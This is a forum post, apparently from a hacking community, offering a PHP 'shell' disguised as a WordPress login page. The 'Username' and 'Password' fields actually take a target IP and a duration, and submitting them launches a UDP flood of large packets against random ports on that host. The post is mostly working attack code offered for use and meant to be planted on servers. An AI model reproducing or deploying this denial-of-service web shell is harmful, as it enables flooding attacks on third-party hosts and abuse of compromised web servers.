Jan 12, 2013 01:38 PM
(This post was last modified: Jan 13, 2013 08:51 AM by Ϲasp3r.)
What it looks like :
Spoiler (Click to View)
NOTE:
How to get the shell:
Dont forget to say thanks
Spoiler (Click to View)
NOTE:
- Does not say how many packets are sent (but you can enable this feature by removing a set of // )
- IP:PORT goes in the Username
- Time goes in Password
- it's a GET shell
How to get the shell:
PHP Code
<?php
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Log In</title>
<link rel='stylesheet' id='wp-admin-css' href='http://www.mspetr.org/wp-admin/css/wp-admin.min.css?ver=3.5' type='text/css' media='all' />
<link rel='stylesheet' id='buttons-css' href='http://www.mspetr.org/wp-includes/css/buttons.min.css?ver=3.5' type='text/css' media='all' />
<link rel='stylesheet' id='colors-fresh-css' href='http://www.mspetr.org/wp-admin/css/colors-fresh.min.css?ver=3.5' type='text/css' media='all' />
<meta name='robots' content='noindex,nofollow' />
</head>
<body class="login login-action-login wp-core-ui">
<div id="login">
<h1><a href="http://wordpress.org/" title="Powered by WordPress">WordPress</a></h1>
<center>
<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = $_GET['time'];
$time = time();
//print "Started: ".time('d-m-y h:i:s')."<br>";
$max_time = $time+$exec_time;
$host = $_GET['host'];
for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
// echo "<br><b>UDP</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
echo '<br><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="act" value="phptools">
<label for="user_login">Username<br />
<input type=text name=host><br></label>
<label for="user_pass">Password<br />
<input type=text name=time><br></label>
<input type=submit class="button button-primary button-large" value=Login></form>';
}else{ echo '<br>Login<br>
<form action=? method=GET>
<input type="hidden" name="act" value="phptools">
<label for="user_login">Username<br />
<input type=text name=host value=><br>
<label for="user_pass">Password<br />
<input type=text name=time value=><br></label>
<input type=submit class="button button-primary button-large" value=Login></form>';
}
?>
</center>
</body>
</html>
Dont forget to say thanks


![[Image: 9KB7o.png]](https://i.imgur.com/9KB7o.png)

![[Image: vBKaZOL.gif]](https://i.imgur.com/vBKaZOL.gif)
![[Image: FtwuQgr.gif]](https://i.imgur.com/FtwuQgr.gif)